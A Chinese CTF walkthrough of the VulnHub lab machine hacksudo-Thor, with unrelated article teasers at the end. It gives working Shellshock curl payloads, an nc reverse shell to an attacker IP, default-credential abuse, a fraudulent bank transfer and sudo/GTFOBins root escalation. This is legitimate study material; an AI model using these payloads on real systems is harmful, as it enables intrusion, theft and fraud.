打靶记录10——hacksudo---Thor

news2024/11/24 14:07:37

靶机:

https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

难度:

目标:

  • 取得root权限+flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web目录爬取
  • 开源源码泄露
  • 默认账号密码
  • SQL注入
  • 破壳漏洞
  • GTFOBins提权

主机发现:

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.31.28
image.png
21端口是filtered状态,22、80端口是开放状态
sudo nmap -p22,80 -sV -sC 192.168.31.28
image.png
访问80端口的Web页面
image.png
Ctrl + U 查看源代码,发现一个/images路径
image.png
但是这些图片对我们没有啥帮助
image.png
news页面发现一个注释<!-- cgi-bin ---!>cgi是一种可以在Web服务器端使用外部应用程序来处理客户端提交的请求的一种开发技术
image.png
如果使用了cgi技术,那么在服务器下就会存在一个/cgi-bin/目录,访问目录发现403拒绝访问,但是不代表我访问具体文件的时候也拒绝,如果我知道具体文件名的话
image.png

目录扫描

sudo dirsearch -u http://192.168.31.28/,发现README.md
image.png
发现一个开源的项目,Web应用程序的源码托管在Github上面,可以进行白盒测试https://github.com/zakee94/online-banking-system/
image.png
发现默认的账号密码,但是在首页登录失败,似乎它修改了
image.png
发现/admin_login.php路径
image.png
访问发现是Administrator的登录界面,输入刚刚在Github上面发现的默认账号密码admin/password123成功登录
image.png
image.png
Add Customer那里随便输入一点数据然后点击提交
image.png
出现SQL语句报错,这里存在SQL注入漏洞,但是无法通过它突破目标边界,拿到操作系统的Shell,所以就不演示攻击手段了
image.png
点击Manage Customers发现四个账号,可以查看账号的信息,其实这里也存在SQL注入漏洞,但是也是无法突破边界
image.png
image.png
继续在github查看源代码,在customer这个表里面存在unamepwd字段
image.png
然后会默认插入一些字段
image.png
分析发现了四个默认插入表里的账号密码
image.png

'zakee94','nafees123'
'salman','salman123'
'tushar','tushar123'
'jon','snow123'

和我们在Manage Customers里看到的一样
image.png
然后我们回到首页直接尝试登录zakee94账号
image.png
发现有转账记录,那我作为一个攻击者,也能进行转账的操作,我可以在这个银行自己创建一个账号,然后给我转账
image.png
尝试给Jon转账,转个2000000试试
image.png
image.png
点击Submit,出现Success成功转账,直接把钱给偷走了
image.png
image.png

学习记录:

作为一个安全从业人员,一个渗透测试工程师,通常都会去关注操作系统那些个可能被攻击者直接进入我操作系统,直接完全控制我操作系统的这些个技术类的漏洞类型很关注,但是往往很多人对这种业务逻辑层面的漏洞关注程度是不够的,而往往这种业务逻辑层面的漏洞会给企业带来直接的经济损失,所以大家在搞系统维护,安全建设相关工作的时候一定要注重技术性漏洞的同时,也要注重业务逻辑层面的漏洞。

破壳漏洞(Shellshock):

bash这种shell类型是有一个环境变量的概念的,而且每个人可以手动的定义这个环境变量,env命令查看环境变量
image.png
在我们编写bashshell脚本的时候,我们通常还可以在shell脚本中去定义一些函数,将一些我们需要重复调用的指令的集合把它定义成一个固定的函数,接下来如果我们想重复执行这一系列的操作的时候,就可以执行这个函数
w() { echo "Hello $USER, today is date:"; date; }
image.png
sudo dirsearch -u http://192.168.31.28/cgi-bin/ -f -e cgi,sh
image.png
500服务器错误响应码,说明服务器存在这个文件,但是由于我们没有提供正确的参数的变量和赋值,从而导致服务器不知道该怎么继续处理我们的请求。
那我们用nmap的脚本来进行扫描
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.31.28
image.png
发现存在漏洞并且可以利用,还给出了CVE的编号,那再看看backup.cgi文件
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.31.28发现也存在漏洞
image.png
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.31.28/cgi-bin/shell.sh通过这条命令确定这台服务器可以执行操作系统指令
image.png

反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.31.26 4444'" \http://192.168.31.28/cgi-bin/shell.sh
image.png
按照惯例升级一下shellpython3 -c "import pty;pty.spawn('/bin/bash')"
image.png

提权:

sudo -l查看sudo的权限是否存在漏洞
image.png
发现(thor) NOPASSWD: /home/thor/./hammer.sh
image.png
那么我们切换到thor账号并执行这条指令sudo -u thor /home/thor/./hammer.sh,发现你一个输入的地方类似用户名,可以随便输入,第二个输入的地方会执行系统命令并显示,那我们直接输入bash来生成一个shell,成功获得thorshell
image.png
然后sudo -l查看配置文件,发现(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
image.png
查看开源的GTFOBins网站的提权方法,发现可以sudo service ../../bin/sh来提权
image.png
image.png
输入sudo service ../../bin/sh成功提权
image.png
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039524.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows的cmd命令行使用Linux类命令

Windows的cmd使用Linux类命令 去我的个人博客观看&#xff0c;观感更佳哦&#xff0c;&#x1f619;&#x1f619; 前言 我在使用Vscode编写C/C代码的时候&#xff0c;经常会用到Shell(你可以理解为命令行)&#xff0c;但是我不得不说Windows下Dos命令极其难用且拉跨&#x1f…

【应用层协议】自定义协议 {定义结构化数据;数据格式转换:序列化和反序列化,使用json库进行数据格式交换;分包和解包:为报文内容添加报头}

一、简单了解TCP协议&#xff08;引子&#xff09; 1.1 三次握手 三次握手就是客户端向服务端发起连接的过程 服务器初始化 调用socket&#xff0c;创建套接字文件 调用bind&#xff0c;将当前的文件描述符和ip/port绑定在一起&#xff1b;如果这个端口已经被其他进程占用了&…

整理 酷炫 Flutter 开源UI框架 按钮

flutter_percent_indicator Flutter 百分比指示器库 项目地址&#xff1a;https://github.com/diegoveloper/flutter_percent_indicator 项目Demo&#xff1a;https://download.csdn.net/download/qq_36040764/89631340

springboot整合doris(doris创建表)

Doris 的数据模型主要分为 3 类: 明细模型(Duplicate Key Model):允许指定的 Key 列重复;适用于必须保留所有原始数据记录的情况主键模型(Unique Key Model):每一行的 Key 值唯一;可确保给定的 Key 列不会存在重复行聚合模型(Aggregate Key Model):可根据 Key 列聚…

力扣每日一题 特殊数组 II 前缀和

Problem: 3152. 特殊数组 II &#x1f468;‍&#x1f3eb; 参考题解 Code class Solution {public boolean[] isArraySpecial(int[] nums, int[][] queries) {int[] s new int[nums.length];for (int i 1; i < nums.length; i) {s[i] s[i - 1] (nums[i - 1] % 2 num…

用R语言进行数据的特征缩放主要方法

下面内容摘录自《R 语言与数据科学的终极指南》专栏文章的部分内容&#xff0c;每篇文章都在 5000 字以上&#xff0c;质量平均分高达 94 分&#xff0c;看全文请点击下面链接&#xff1a; 4章11节&#xff1a;用R做数据重塑&#xff0c;数据的特征缩放和特征可视化-CSDN博客文…

第八季完美童模全球冠军·韩嘉滢 破浪扬帆写就传奇

在这个充满奇迹与梦想的舞台上&#xff0c;星光少女韩嘉滢以她独有的光芒&#xff0c;照亮了第八季完美童模的每一个角落。从亚特兰蒂斯的神秘海域到典故里的中国古韵&#xff0c;她以多变的风格与卓越的表现&#xff0c;征服了全球观众的心&#xff0c;最终荣登全球冠军的宝座…

K8S资源之Service

概念 将一组 Pods 公开为网络服务的抽象方法。 ClientIP 模型 集群内访问类型。 命令行 # 暴露端口 kubectl expose deployment my-dep-nginx --port8000 --target-port80Yml文件 apiVersion: v1 kind: Service metadata:labels:app: my-dep-nginxname: my-dep-nginx spe…

中小型企业可用的数据采集监控平台 为生产带来众多改变

中小型企业采用数据采集监控平台可以显著提升生产效率、优化生产流程、增强决策能力&#xff0c;并带来一系列积极的改变。 数据采集监控平台可提供从边缘感知设备到云端的数据采集、存储、分析、可视化等服务&#xff0c;实现生产工艺流程仿真、设备运行状态监控、数据报表、趋…

渗透测试实战-菠菜站渗透测试(Nacos反序列化漏洞利用)

免责声明&#xff1a;文章来源于真实渗透测试&#xff0c;已获得授权&#xff0c;且关键信息已经打码处理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本…

leetcode 103.二叉树的锯齿形层序遍历

1.题目要求: 给你二叉树的根节点 root &#xff0c;返回其节点值的 锯齿形层序遍历 。&#xff08;即先从左往右&#xff0c;再从右往左进行下一层遍历&#xff0c;以此类推&#xff0c;层与层之间交替进行&#xff09;。2.做题思路:由题我们可以判断&#xff0c;树中每到偶数…

IV(电流-电压)测试和CV(电容-电压)测试

IV&#xff08;电流-电压&#xff09;测试和CV&#xff08;电容-电压&#xff09;测试是半导体参数表征中非常重要的两种测试方法。 一、IV测试&#xff08;电流-电压测试&#xff09; 1. 定义与目的 IV测试是测量半导体器件在不同电压下的电流响应&#xff0c;以评估其电学…

树莓派智能语音助手之ASR – SpeechRecognition+PocketSphinx

想要让树莓派成为智能语音助手&#xff0c;除了会“说”&#xff0c;也要会“听”。接下来&#xff0c;就要让它实现ASR&#xff08;语音识别&#xff09;功能了。 本来想用sherpa-onnx来实现离线语音识别的&#xff0c;可惜&#xff0c;我的树莓派系统太老了&#xff0c;折腾…

mybatis常见面试问题

0.原生JDBC样例: public class MainClass { public static void main(String[] args) { Connection conn = null; Statement stmt = null; ResultSet rs = null; try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 String url = &q…

视觉SLAM ch3补充——在Linux中配置VScode以及CMakeLists如何添加Eigen库

ch3中的所有代码&#xff0c;除了在kdevelop中运行&#xff0c;还可以在VScode中运行。下面将简要演示配置过程&#xff0c;代码不再做解答&#xff0c;详细内容在下面的文章中。&#xff08;这一节中的pangolin由于安装过程中会出现很多问题&#xff0c;且后续内容用不到该平台…

重磅官宣!追光少年【彭禹锦】荣担任中国美育促进网amp;IPA美育中国行代言人

在美育事业蓬勃发展的今天&#xff0c;一位年仅15岁的少年以其非凡的艺术才华和积极向上的精神风貌&#xff0c;成为了万众瞩目的焦点。中国美育促进网与IPA美育中国行正式宣布&#xff0c;才华横溢、正能量满满的追光少年彭禹锦受邀担任“中国美育促进网&IPA美育中国行”代…

c++中__int128的使用

需要10^30才可以存&#xff0c;我们可以用__int128来算 #include<bits/stdc.h>using namespace std;bool is_sqr(__int128 x) {__int128 l -1, r 1e16;while (r - l > 1) {__int128 m (l r) / 2;__int128 m2 m * m;if (m2 < x) {l m;} else {r m;}}if (l *…

【机器学习】RNN循环神经网络的基本概念、工作原理(含python代码)和应用领域

引言 递归神经网络&#xff08;RNN&#xff09;是一类用于处理序列数据的神经网络。它们在处理如时间序列数据、语音、文本和其他序列格式数据时特别有用 文章目录 引言一、RNN的基本概念1.1 RNN的定义组成1.1.1 单个神经元1.1.2 网络结构 1.2 RNN的工作原理及代码示例1.2.1 循…

8月7日-8日学习

首先是昨天看到的gemma 2 中训练2B模型用了知识蒸馏&#xff0c;找了一下技术报告 结果先找到了一代的半天没有看到知识蒸馏的部分 然后在二代里面找到了 只有很小的一部分 就是用小模型学习大模型的概率预测分布 然后这里的话又找到了华为发布的小模型论文 Rethinking Optim…

Centos7安装Redis(采用docker安装方式)

文章目录 1 拉取Redis镜像2 上传并修改配置文件3 启动Docker容器4 查看Docker是否正常启动 linux系统安装redis可以自己上传程序&#xff0c;手动启动&#xff0c;也可以用docker以容器形式启动。 redis建议可采用docker安装&#xff0c;如果是例如mysql这种追求稳定的关系型数…